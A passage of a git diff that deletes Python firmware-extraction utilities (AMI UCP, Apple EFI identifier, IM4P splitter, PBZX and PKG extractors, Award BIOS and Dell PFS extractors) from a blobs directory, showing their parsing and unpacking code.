contextlib.redirect_stdout(dis): - printer() - dis_mod.struct_print(4) # Store @DIS Module Entry Info - - os.remove(uaf_fname) # Delete @DIS Module binary, info exported as text - - # Parse Name List @UAF|@HPU Module (@NAL) - if len(uaf_data_raw) >= 5 and (uaf_tag,uaf_data_raw[0],uaf_data_raw[4]) == ('@NAL',0x40,0x3A): - nal_info = uaf_data_raw.decode('utf-8','ignore').replace('\r','').strip().split('\n') - - printer('AMI UCP Module Name List:\n', padding + 4) - - # Parse all @NAL Module Entries - for info in nal_info: - info_tag,info_value = info.split(':',1) - - printer(f'{info_tag} : {info_value}', padding + 8, False) # Print @NAL Module Tag-Path Info - - info_part = agnostic_path(info_value).parts # Split OS agnostic path in parts - info_path = to_string(info_part[1:-1], os.sep) # Get path without drive/root or file - info_name = info_part[-1] # Get file from last path part - - nal_dict[info_tag] = (info_path,info_name) # Assign a file path & name to each Tag - - # Parse Insyde BIOS @UAF|@HPU Module (@INS) - if uaf_tag == '@INS' and is_insyde_ifd(uaf_fname): - ins_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-IFD')) # Generate extraction directory - - if insyde_ifd_extract(uaf_fname, get_extract_path(ins_dir), padding + 4) == 0: - os.remove(uaf_fname) # Delete raw nested Insyde IFD image after successful extraction - - # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image - if is_ami_pfat(uaf_data_raw): - pfat_dir = os.path.join(extract_path, safe_name(uaf_name)) - - parse_pfat_file(uaf_data_raw, get_extract_path(pfat_dir), padding + 4) - - os.remove(uaf_fname) # Delete raw PFAT BIOS image after successful extraction - - # Detect Intel Engine firmware image and show ME Analyzer advice - if uaf_tag.startswith('@ME') and PAT_INTEL_ENG.search(uaf_data_raw): - printer('Intel Management Engine (ME) Firmware:\n', padding + 4) - printer('Use "ME Analyzer" from https://github.com/platomav/MEAnalyzer', padding + 8, False) - - # Parse Nested AMI UCP image - if is_ami_ucp(uaf_data_raw): - uaf_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-UCP')) # Generate extraction directory - - ucp_extract(uaf_data_raw, get_extract_path(uaf_dir), padding + 4, checksum) # Call recursively - - os.remove(uaf_fname) # Delete raw nested AMI UCP image after successful extraction - - return nal_dict - -# Get common ctypes Structure Sizes -UAF_HDR_LEN = ctypes.sizeof(UafHeader) -UAF_MOD_LEN = ctypes.sizeof(UafModule) -DIS_HDR_LEN = ctypes.sizeof(DisHeader) -DIS_MOD_LEN = ctypes.sizeof(DisModule) -UII_HDR_LEN = ctypes.sizeof(UiiHeader) - -# AMI UCP Tag Dictionary -UAF_TAG_DICT = { - '@3FI' : ['HpBiosUpdate32.efi', 'HpBiosUpdate32.efi', ''], - '@3S2' : ['HpBiosUpdate32.s12', 'HpBiosUpdate32.s12', ''], - '@3S4' : ['HpBiosUpdate32.s14', 'HpBiosUpdate32.s14', ''], - '@3S9' : ['HpBiosUpdate32.s09', 'HpBiosUpdate32.s09', ''], - '@3SG' : ['HpBiosUpdate32.sig', 'HpBiosUpdate32.sig', ''], - '@AMI' : ['UCP_Nested.bin', 'Nested AMI UCP', ''], - '@B12' : ['BiosMgmt.s12', 'BiosMgmt.s12', ''], - '@B14' : ['BiosMgmt.s14', 'BiosMgmt.s14', ''], - '@B32' : ['BiosMgmt32.s12', 'BiosMgmt32.s12', ''], - '@B34' : ['BiosMgmt32.s14', 'BiosMgmt32.s14', ''], - '@B39' : ['BiosMgmt32.s09', 'BiosMgmt32.s09', ''], - '@B3E' : ['BiosMgmt32.efi', 'BiosMgmt32.efi', ''], - '@BM9' : ['BiosMgmt.s09', 'BiosMgmt.s09', ''], - '@BME' : ['BiosMgmt.efi', 'BiosMgmt.efi', ''], - '@CKV' : ['Check_Version.txt', 'Check Version', 'Text'], - '@CMD' : ['AFU_Command.txt', 'AMI AFU Command', 'Text'], - '@CML' : ['CMOSD4.txt', 'CMOS Item Number-Value (MSI)', 'Text'], - '@CMS' : ['CMOSD4.exe', 'Get or Set CMOS Item (MSI)', ''], - '@CPM' : ['AC_Message.txt', 'Confirm Power Message', ''], - '@DCT' : ['DevCon32.exe', 'Device Console WIN32', ''], - '@DCX' : ['DevCon64.exe', 'Device Console WIN64', ''], - '@DFE' : ['HpDevFwUpdate.efi', 'HpDevFwUpdate.efi', ''], - '@DFS' : ['HpDevFwUpdate.s12', 'HpDevFwUpdate.s12', ''], - '@DIS' : ['Command_Status.bin', 'Default Command Status', ''], - '@ENB' : ['ENBG64.exe', 'ENBG64.exe', ''], - '@HPU' : ['UCP_Main.bin', 'Utility Auxiliary File (HP)', ''], - '@INS' : ['Insyde_Nested.bin', 'Nested Insyde SFX', ''], - '@M32' : ['HpBiosMgmt32.s12', 'HpBiosMgmt32.s12', ''], - '@M34' : ['HpBiosMgmt32.s14', 'HpBiosMgmt32.s14', ''], - '@M39' : ['HpBiosMgmt32.s09', 'HpBiosMgmt32.s09', ''], - '@M3I' : ['HpBiosMgmt32.efi', 'HpBiosMgmt32.efi', ''], - '@MEC' : ['FWUpdLcl.txt', 'Intel FWUpdLcl Command', 'Text'], - '@MED' : ['FWUpdLcl_DOS.exe', 'Intel FWUpdLcl DOS', ''], - '@MET' : ['FWUpdLcl_WIN32.exe', 'Intel FWUpdLcl WIN32', ''], - '@MFI' : ['HpBiosMgmt.efi', 'HpBiosMgmt.efi', ''], - '@MS2' : ['HpBiosMgmt.s12', 'HpBiosMgmt.s12', ''], - '@MS4' : ['HpBiosMgmt.s14', 'HpBiosMgmt.s14', ''], - '@MS9' : ['HpBiosMgmt.s09', 'HpBiosMgmt.s09', ''], - '@NAL' : ['UCP_List.txt', 'AMI UCP Module Name List', ''], - '@OKM' : ['OK_Message.txt', 'OK Message', ''], - '@PFC' : ['BGT_Command.txt', 'AMI BGT Command', 'Text'], - '@R3I' : ['CryptRSA32.efi', 'CryptRSA32.efi', ''], - '@RFI' : ['CryptRSA.efi', 'CryptRSA.efi', ''], - '@UAF' : ['UCP_Main.bin', 'Utility Auxiliary File (AMI)', ''], - '@UFI' : ['HpBiosUpdate.efi', 'HpBiosUpdate.efi', ''], - '@UII' : ['UCP_Info.txt', 'Utility Identification Information', ''], - '@US2' : ['HpBiosUpdate.s12', 'HpBiosUpdate.s12', ''], - '@US4' : ['HpBiosUpdate.s14', 'HpBiosUpdate.s14', ''], - '@US9' : ['HpBiosUpdate.s09', 'HpBiosUpdate.s09', ''], - '@USG' : ['HpBiosUpdate.sig', 'HpBiosUpdate.sig', ''], - '@VER' : ['OEM_Version.txt', 'OEM Version', 'Text'], - '@VXD' : ['amifldrv.vxd', 'amifldrv.vxd', ''], - '@W32' : ['amifldrv32.sys', 'amifldrv32.sys', ''], - '@W64' : ['amifldrv64.sys', 'amifldrv64.sys', ''], - } - -if __name__ == '__main__': - utility = BIOSUtility(TITLE, is_ami_ucp, ucp_extract) - utility.parse_argument('-c', '--checksum', help='verify AMI UCP Checksums (slow)', action='store_true') - utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_ID.py b/blobs/t480/biosutilities/Apple_EFI_ID.py deleted file mode 100644 index 1003b6766..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_ID.py +++ /dev/null @@ -1,167 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI ID -Apple EFI Image Identifier -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI Image Identifier v2.0_a5' - -import os -import sys -import zlib -import struct -import ctypes -import subprocess - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.externals import get_uefifind_path, get_uefiextract_path -from common.path_ops import del_dirs, path_parent, path_suffixes -from common.patterns import PAT_APPLE_EFI -from common.struct_ops import char, get_struct, uint8_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class IntelBiosId(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Signature', char*8), # 0x00 - ('BoardID', uint8_t*16), # 0x08 - ('Dot1', uint8_t*2), # 0x18 - ('BoardExt', uint8_t*6), # 0x1A - ('Dot2', uint8_t*2), # 0x20 - ('VersionMajor', uint8_t*8), # 0x22 - ('Dot3', uint8_t*2), # 0x2A - ('BuildType', uint8_t*2), # 0x2C - ('VersionMinor', uint8_t*4), # 0x2E - ('Dot4', uint8_t*2), # 0x32 - ('Year', uint8_t*4), # 0x34 - ('Month', uint8_t*4), # 0x38 - ('Day', uint8_t*4), # 0x3C - ('Hour', uint8_t*4), # 0x40 - ('Minute', uint8_t*4), # 0x44 - ('NullTerminator', uint8_t*2), # 0x48 - # 0x4A - ] - - # https://github.com/tianocore/edk2-platforms/blob/master/Platform/Intel/BoardModulePkg/Include/Guid/BiosId.h - - @staticmethod - def decode(field): - return struct.pack('B' * len(field), *field).decode('utf-16','ignore').strip('\x00 ') - - def get_bios_id(self): - BoardID = self.decode(self.BoardID) - BoardExt = self.decode(self.BoardExt) - VersionMajor = self.decode(self.VersionMajor) - BuildType = self.decode(self.BuildType) - VersionMinor = self.decode(self.VersionMinor) - BuildDate = f'20{self.decode(self.Year)}-{self.decode(self.Month)}-{self.decode(self.Day)}' - BuildTime = f'{self.decode(self.Hour)}-{self.decode(self.Minute)}' - - return BoardID, BoardExt, VersionMajor, BuildType, VersionMinor, BuildDate, BuildTime - - def struct_print(self, p): - BoardID,BoardExt,VersionMajor,BuildType,VersionMinor,BuildDate,BuildTime = self.get_bios_id() - - printer(['Intel Signature:', self.Signature.decode('utf-8')], p, False) - printer(['Board Identity: ', BoardID], p, False) - printer(['Apple Identity: ', BoardExt], p, False) - printer(['Major Version: ', VersionMajor], p, False) - printer(['Minor Version: ', VersionMinor], p, False) - printer(['Build Type: ', BuildType], p, False) - printer(['Build Date: ', BuildDate], p, False) - printer(['Build Time: ', BuildTime.replace('-',':')], p, False) - -# Check if input is Apple EFI image -def is_apple_efi(input_file): - input_buffer = file_to_bytes(input_file) - - if PAT_APPLE_EFI.search(input_buffer): - return True - - if not os.path.isfile(input_file): - return False - - try: - _ = subprocess.run([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], - check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - - return True - except Exception: - return False - -# Parse & Identify (or Rename) Apple EFI image -def apple_efi_identify(input_file, extract_path, padding=0, rename=False): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - - return 1 - - input_buffer = file_to_bytes(input_file) - - bios_id_match = PAT_APPLE_EFI.search(input_buffer) # Detect $IBIOSI$ pattern - - if bios_id_match: - bios_id_res = f'0x{bios_id_match.start():X}' - - bios_id_hdr = get_struct(input_buffer, bios_id_match.start(), IntelBiosId) - else: - # The $IBIOSI$ pattern is within EFI compressed modules so we need to use UEFIFind and UEFIExtract - try: - bios_id_res = subprocess.check_output([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], - text=True)[:36] - - del_dirs(extract_path) # UEFIExtract must create its output folder itself, make sure it is not present - - _ = subprocess.run([get_uefiextract_path(), input_file, bios_id_res, '-o', extract_path, '-m', 'body'], - check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - - with open(os.path.join(extract_path, 'body.bin'), 'rb') as raw_body: - body_buffer = raw_body.read() - - bios_id_match = PAT_APPLE_EFI.search(body_buffer) # Detect decompressed $IBIOSI$ pattern - - bios_id_hdr = get_struct(body_buffer, bios_id_match.start(), IntelBiosId) - - del_dirs(extract_path) # Successful UEFIExtract extraction, remove its output (temp) folder - except Exception: - printer('Error: Failed to parse compressed $IBIOSI$ pattern!', padding) - - return 2 - - printer(f'Detected $IBIOSI$ at {bios_id_res}\n', padding) - - bios_id_hdr.struct_print(padding + 4) - - if rename: - input_parent = path_parent(input_file) - - input_suffix = path_suffixes(input_file)[-1] - - input_adler32 = zlib.adler32(input_buffer) - - ID,Ext,Major,Type,Minor,Date,Time = bios_id_hdr.get_bios_id() - - output_name = f'{ID}_{Ext}_{Major}_{Type}{Minor}_{Date}_{Time}_{input_adler32:08X}{input_suffix}' - - output_file = os.path.join(input_parent, output_name) - - if not os.path.isfile(output_file): - os.replace(input_file, output_file) # Rename input file based on its EFI tag - - printer(f'Renamed to {output_name}', padding) - - return 0 - -PAT_UEFIFIND = f'244942494F534924{"."*32}2E00{"."*12}2E00{"."*16}2E00{"."*12}2E00{"."*40}0000' - -if __name__ == '__main__': - utility = BIOSUtility(TITLE, is_apple_efi, apple_efi_identify) - utility.parse_argument('-r', '--rename', help='rename EFI image based on its tag', action='store_true') - utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_IM4P.py b/blobs/t480/biosutilities/Apple_EFI_IM4P.py deleted file mode 100644 index 5dceefa31..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_IM4P.py +++ /dev/null @@ -1,145 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI IM4P -Apple EFI IM4P Splitter -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI IM4P Splitter v3.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.path_ops import make_dirs, path_stem -from common.patterns import PAT_APPLE_IM4P, PAT_INTEL_IFD -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Apple EFI IM4P image -def is_apple_im4p(input_file): - input_buffer = file_to_bytes(input_file) - - is_im4p = PAT_APPLE_IM4P.search(input_buffer) - - is_ifd = PAT_INTEL_IFD.search(input_buffer) - - return bool(is_im4p and is_ifd) - -# Parse & Split Apple EFI IM4P image -def apple_im4p_split(input_file, extract_path, padding=0): - exit_codes = [] - - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - # Detect IM4P EFI pattern - im4p_match = PAT_APPLE_IM4P.search(input_buffer) - - # After IM4P mefi (0x15), multi EFI payloads have _MEFIBIN (0x100) but is difficult to RE w/o varying samples. - # However, _MEFIBIN is not required for splitting SPI images due to Intel Flash Descriptor Components Density. - - # IM4P mefi payload start offset - mefi_data_bgn = im4p_match.start() + input_buffer[im4p_match.start() - 0x1] - - # IM4P mefi payload size - mefi_data_len = int.from_bytes(input_buffer[im4p_match.end() + 0x5:im4p_match.end() + 0x9], 'big') - - # Check if mefi is followed by _MEFIBIN - mefibin_exist = input_buffer[mefi_data_bgn:mefi_data_bgn + 0x8] == b'_MEFIBIN' - - # Actual multi EFI payloads start after _MEFIBIN - efi_data_bgn = mefi_data_bgn + 0x100 if mefibin_exist else mefi_data_bgn - - # Actual multi EFI payloads size without _MEFIBIN - efi_data_len = mefi_data_len - 0x100 if mefibin_exist else mefi_data_len - - # Adjust input file buffer to actual multi EFI payloads data - input_buffer = input_buffer[efi_data_bgn:efi_data_bgn + efi_data_len] - - # Parse Intel Flash Descriptor pattern matches - for ifd in PAT_INTEL_IFD.finditer(input_buffer): - # Component Base Address from FD start (ICH8-ICH10 = 1, IBX = 2, CPT+ = 3) - ifd_flmap0_fcba = input_buffer[ifd.start() + 0x4] * 0x10 - - # I/O Controller Hub (ICH) - if ifd_flmap0_fcba == 0x10: - # At ICH, Flash Descriptor starts at 0x0 - ifd_bgn_substruct = 0x0 - - # 0xBC for [0xAC] + 0xFF * 16 sanity check - ifd_end_substruct = 0xBC - - # Platform Controller Hub (PCH) - else: - # At PCH, Flash Descriptor starts at 0x10 - ifd_bgn_substruct = 0x10 - - # 0xBC for [0xAC] + 0xFF * 16 sanity check - ifd_end_substruct = 0xBC - - # Actual Flash Descriptor Start Offset - ifd_match_start = ifd.start() - ifd_bgn_substruct - - # Actual Flash Descriptor End Offset - ifd_match_end = ifd.end() - ifd_end_substruct - - # Calculate Intel Flash Descriptor Flash Component Total Size - - # Component Count (00 = 1, 01 = 2) - ifd_flmap0_nc = ((int.from_bytes(input_buffer[ifd_match_end:ifd_match_end + 0x4], 'little') >> 8) & 3) + 1 - - # PCH/ICH Strap Length (ME 2-8 & TXE 0-2 & SPS 1-2 <= 0x12, ME 9+ & TXE 3+ & SPS 3+ >= 0x13) - ifd_flmap1_isl = input_buffer[ifd_match_end + 0x7] - - # Component Density Byte (ME 2-8 & TXE 0-2 & SPS 1-2 = 0:5, ME 9+ & TXE 3+ & SPS 3+ = 0:7) - ifd_comp_den = input_buffer[ifd_match_start + ifd_flmap0_fcba] - - # Component 1 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) - ifd_comp_1_bitwise = 0xF if ifd_flmap1_isl >= 0x13 else 0x7 - - # Component 2 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) - ifd_comp_2_bitwise = 0x4 if ifd_flmap1_isl >= 0x13 else 0x3 - - # Component 1 Density (FCBA > C0DEN) - ifd_comp_all_size = IFD_COMP_LEN[ifd_comp_den & ifd_comp_1_bitwise] - - # Component 2 Density (FCBA > C1DEN) - if ifd_flmap0_nc == 2: - ifd_comp_all_size += IFD_COMP_LEN[ifd_comp_den >> ifd_comp_2_bitwise] - - ifd_data_bgn = ifd_match_start - ifd_data_end = ifd_data_bgn + ifd_comp_all_size - ifd_data_txt = f'0x{ifd_data_bgn:07X}-0x{ifd_data_end:07X}' - - output_data = input_buffer[ifd_data_bgn:ifd_data_end] - - output_size = len(output_data) - - output_name = path_stem(input_file) if os.path.isfile(input_file) else 'Part' - - output_path = os.path.join(extract_path, f'{output_name}_[{ifd_data_txt}].fd') - - with open(output_path, 'wb') as output_image: - output_image.write(output_data) - - printer(f'Split Apple EFI image at {ifd_data_txt}!', padding) - - if output_size != ifd_comp_all_size: - printer(f'Error: Bad image size 0x{output_size:07X}, expected 0x{ifd_comp_all_size:07X}!', padding + 4) - - exit_codes.append(1) - - return sum(exit_codes) - -# Intel Flash Descriptor Component Sizes (4MB, 8MB, 16MB and 32MB) -IFD_COMP_LEN = {3: 0x400000, 4: 0x800000, 5: 0x1000000, 6: 0x2000000} - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_im4p, apple_im4p_split).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PBZX.py b/blobs/t480/biosutilities/Apple_EFI_PBZX.py deleted file mode 100644 index 8e4f55364..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_PBZX.py +++ /dev/null @@ -1,118 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple PBZX Extract -Apple EFI PBZX Extractor -Copyright (C) 2021-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI PBZX Extractor v1.0_a5' - -import os -import sys -import lzma -import ctypes - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import make_dirs, path_stem -from common.patterns import PAT_APPLE_PBZX -from common.struct_ops import get_struct, uint32_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -class PbzxChunk(ctypes.BigEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Reserved0', uint32_t), # 0x00 - ('InitSize', uint32_t), # 0x04 - ('Reserved1', uint32_t), # 0x08 - ('CompSize', uint32_t), # 0x0C - # 0x10 - ] - - def struct_print(self, p): - printer(['Reserved 0 :', f'0x{self.Reserved0:X}'], p, False) - printer(['Initial Size :', f'0x{self.InitSize:X}'], p, False) - printer(['Reserved 1 :', f'0x{self.Reserved1:X}'], p, False) - printer(['Compressed Size:', f'0x{self.CompSize:X}'], p, False) - -# Check if input is Apple PBZX image -def is_apple_pbzx(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_APPLE_PBZX.search(input_buffer[:0x4])) - -# Parse & Extract Apple PBZX image -def apple_pbzx_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - cpio_bin = b'' # Initialize PBZX > CPIO Buffer - cpio_len = 0x0 # Initialize PBZX > CPIO Length - - chunk_off = 0xC # First PBZX Chunk starts at 0xC - while chunk_off < len(input_buffer): - chunk_hdr = get_struct(input_buffer, chunk_off, PbzxChunk) - - printer(f'PBZX Chunk at 0x{chunk_off:08X}\n', padding) - - chunk_hdr.struct_print(padding + 4) - - # PBZX Chunk data starts after its Header - comp_bgn = chunk_off + PBZX_CHUNK_HDR_LEN - - # To avoid a potential infinite loop, double-check Compressed Size - comp_end = comp_bgn + max(chunk_hdr.CompSize, PBZX_CHUNK_HDR_LEN) - - comp_bin = input_buffer[comp_bgn:comp_end] - - try: - # Attempt XZ decompression, if applicable to Chunk data - cpio_bin += lzma.LZMADecompressor().decompress(comp_bin) - - printer('Successful LZMA decompression!', padding + 8) - except Exception: - # Otherwise, Chunk data is not compressed - cpio_bin += comp_bin - - # Final CPIO size should match the sum of all Chunks > Initial Size - cpio_len += chunk_hdr.InitSize - - # Next Chunk starts at the end of current Chunk's data - chunk_off = comp_end - - # Check that CPIO size is valid based on all Chunks > Initial Size - if cpio_len != len(cpio_bin): - printer('Error: Unexpected CPIO archive size!', padding) - - return 1 - - cpio_name = path_stem(input_file) if os.path.isfile(input_file) else 'Payload' - - cpio_path = os.path.join(extract_path, f'{cpio_name}.cpio') - - with open(cpio_path, 'wb') as cpio_object: - cpio_object.write(cpio_bin) - - # Decompress PBZX > CPIO archive with 7-Zip - if is_szip_supported(cpio_path, padding, args=['-tCPIO'], check=True): - if szip_decompress(cpio_path, extract_path, 'CPIO', padding, args=['-tCPIO'], check=True) == 0: - os.remove(cpio_path) # Successful extraction, delete PBZX > CPIO archive - else: - return 3 - else: - return 2 - - return 0 - -# Get common ctypes Structure Sizes -PBZX_CHUNK_HDR_LEN = ctypes.sizeof(PbzxChunk) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_pbzx, apple_pbzx_extract).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PKG.py b/blobs/t480/biosutilities/Apple_EFI_PKG.py deleted file mode 100644 index a185547db..000000000 --- a/blobs/t480/biosutilities/Apple_EFI_PKG.py +++ /dev/null @@ -1,148 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Apple EFI PKG -Apple EFI Package Extractor -Copyright (C) 2019-2022 Plato Mavropoulos -""" - -TITLE = 'Apple EFI Package Extractor v2.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import is_szip_supported, szip_decompress -from common.path_ops import copy_file, del_dirs, get_path_files, make_dirs, path_name, path_parent, get_extract_path -from common.patterns import PAT_APPLE_PKG -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from Apple_EFI_ID import apple_efi_identify, is_apple_efi -from Apple_EFI_IM4P import apple_im4p_split, is_apple_im4p -from Apple_EFI_PBZX import apple_pbzx_extract, is_apple_pbzx - -# Check if input is Apple EFI PKG package -def is_apple_pkg(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_APPLE_PKG.search(input_buffer[:0x4])) - -# Split Apple EFI image (if applicable) and Rename -def efi_split_rename(in_file, out_path, padding=0): - exit_codes = [] - - working_dir = get_extract_path(in_file) - - if is_apple_im4p(in_file): - printer(f'Splitting IM4P via {is_apple_im4p.__module__}...', padding) - im4p_exit = apple_im4p_split(in_file, working_dir, padding + 4) - exit_codes.append(im4p_exit) - else: - make_dirs(working_dir, delete=True) - copy_file(in_file, working_dir, True) - - for efi_file in get_path_files(working_dir): - if is_apple_efi(efi_file): - printer(f'Renaming EFI via {is_apple_efi.__module__}...', padding) - name_exit = apple_efi_identify(efi_file, efi_file, padding + 4, True) - exit_codes.append(name_exit) - - for named_file in get_path_files(working_dir): - copy_file(named_file, out_path, True) - - del_dirs(working_dir) - - return sum(exit_codes) - -# Parse & Extract Apple EFI PKG packages -def apple_pkg_extract(input_file, extract_path, padding=0): - if not os.path.isfile(input_file): - printer('Error: Could not find input file path!', padding) - return 1 - - make_dirs(extract_path, delete=True) - - xar_path = os.path.join(extract_path, 'xar') - - # Decompress PKG > XAR archive with 7-Zip - if is_szip_supported(input_file, padding, args=['-tXAR'], check=True): - if szip_decompress(input_file, xar_path, 'XAR', padding, args=['-tXAR'], check=True) != 0: - return 3 - else: - return 2 - - for xar_file in get_path_files(xar_path): - if path_name(xar_file) == 'Payload': - pbzx_module = is_apple_pbzx.__module__ - if is_apple_pbzx(xar_file): - printer(f'Extracting PBZX via {pbzx_module}...', padding + 4) - pbzx_path = get_extract_path(xar_file) - if apple_pbzx_extract(xar_file, pbzx_path, padding + 8) == 0: - printer(f'Succesfull PBZX extraction via {pbzx_module}!', padding + 4) - for pbzx_file in get_path_files(pbzx_path): - if path_name(pbzx_file) == 'UpdateBundle.zip': - if is_szip_supported(pbzx_file, padding + 8, args=['-tZIP'], check=True): - zip_path = get_extract_path(pbzx_file) - if szip_decompress(pbzx_file, zip_path, 'ZIP', padding + 8, args=['-tZIP'], check=True) == 0: - for zip_file in get_path_files(zip_path): - if path_name(path_parent(zip_file)) == 'MacEFI': - printer(path_name(zip_file), padding + 12) - if efi_split_rename(zip_file, extract_path, padding + 16) != 0: - printer(f'Error: Could not split and rename {path_name(zip_file)}!', padding) - return 10 - else: - return 9 - else: - return 8 - break # ZIP found, stop - else: - printer('Error: Could not find "UpdateBundle.zip" file!', padding) - return 7 - else: - printer(f'Error: Failed to extract PBZX file via {pbzx_module}!', padding) - return 6 - else: - printer(f'Error: Failed to detect file as PBZX via {pbzx_module}!', padding) - return 5 - - break # Payload found, stop searching - - if path_name(xar_file) == 'Scripts': - if is_szip_supported(xar_file, padding + 4, args=['-tGZIP'], check=True): - gzip_path = get_extract_path(xar_file) - if szip_decompress(xar_file, gzip_path, 'GZIP', padding + 4, args=['-tGZIP'], check=True) == 0: - for gzip_file in get_path_files(gzip_path): - if is_szip_supported(gzip_file, padding + 8, args=['-tCPIO'], check=True): - cpio_path = get_extract_path(gzip_file) - if szip_decompress(gzip_file, cpio_path, 'CPIO', padding + 8, args=['-tCPIO'], check=True) == 0: - for cpio_file in get_path_files(cpio_path): - if path_name(path_parent(cpio_file)) == 'EFIPayloads': - printer(path_name(cpio_file), padding + 12) - if efi_split_rename(cpio_file, extract_path, padding + 16) != 0: - printer(f'Error: Could not split and rename {path_name(cpio_file)}!', padding) - return 15 - else: - return 14 - else: - return 13 - else: - return 12 - else: - return 11 - - break # Scripts found, stop searching - else: - printer('Error: Could not find "Payload" or "Scripts" file!', padding) - return 4 - - del_dirs(xar_path) # Delete temporary/working XAR folder - - return 0 - -if __name__ == '__main__': - BIOSUtility(TITLE, is_apple_pkg, apple_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Award_BIOS_Extract.py b/blobs/t480/biosutilities/Award_BIOS_Extract.py deleted file mode 100644 index 12d1e9698..000000000 --- a/blobs/t480/biosutilities/Award_BIOS_Extract.py +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Award BIOS Extract -Award BIOS Module Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Award BIOS Module Extractor v2.0_a5' - -import os -import sys - -# Stop __pycache__ generation -sys.dont_write_bytecode = True - -from common.comp_szip import szip_decompress -from common.path_ops import make_dirs, safe_name, get_extract_path -from common.patterns import PAT_AWARD_LZH -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -# Check if input is Award BIOS image -def is_award_bios(in_file): - in_buffer = file_to_bytes(in_file) - - return bool(PAT_AWARD_LZH.search(in_buffer)) - -# Parse & Extract Award BIOS image -def award_bios_extract(input_file, extract_path, padding=0): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - for lzh_match in PAT_AWARD_LZH.finditer(input_buffer): - lzh_type = lzh_match.group(0).decode('utf-8') - lzh_text = f'LZH-{lzh_type.strip("-").upper()}' - - lzh_bgn = lzh_match.start() - - mod_bgn = lzh_bgn - 0x2 - hdr_len = input_buffer[mod_bgn] - mod_len = int.from_bytes(input_buffer[mod_bgn + 0x7:mod_bgn + 0xB], 'little') - mod_end = lzh_bgn + hdr_len + mod_len - mod_bin = input_buffer[mod_bgn:mod_end] - - tag_bgn = mod_bgn + 0x16 - tag_end = tag_bgn + input_buffer[mod_bgn + 0x15] - tag_txt = input_buffer[tag_bgn:tag_end].decode('utf-8','ignore') - - printer(f'{lzh_text} > {tag_txt} [0x{mod_bgn:06X}-0x{mod_end:06X}]', padding) - - mod_path = os.path.join(extract_path, safe_name(tag_txt)) - lzh_path = f'{mod_path}.lzh' - - with open(lzh_path, 'wb') as lzh_file: - lzh_file.write(mod_bin) # Store LZH archive - - # 7-Zip returns critical exit code (i.e. 2) if LZH CRC is wrong, do not check result - szip_decompress(lzh_path, extract_path, lzh_text, padding + 4, check=False) - - # Manually check if 7-Zip extracted LZH due to its CRC check issue - if os.path.isfile(mod_path): - os.remove(lzh_path) # Successful extraction, delete LZH archive - - # Extract any nested LZH archives - if is_award_bios(mod_path): - # Recursively extract nested Award BIOS modules - award_bios_extract(mod_path, get_extract_path(mod_path), padding + 8) - -if __name__ == '__main__': - BIOSUtility(TITLE, is_award_bios, award_bios_extract).run_utility() diff --git a/blobs/t480/biosutilities/Dell_PFS_Extract.py b/blobs/t480/biosutilities/Dell_PFS_Extract.py deleted file mode 100644 index b8cb68653..000000000 --- a/blobs/t480/biosutilities/Dell_PFS_Extract.py +++ /dev/null @@ -1,1067 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Dell PFS Extract -Dell PFS Update Extractor -Copyright (C) 2018-2022 Plato Mavropoulos -""" - -TITLE = 'Dell PFS Update Extractor v6.0_a16' - -import os -import io -import sys -import lzma -import zlib -import ctypes -import contextlib - -# Skip __pycache__ generation -sys.dont_write_bytecode = True - -from common.checksums 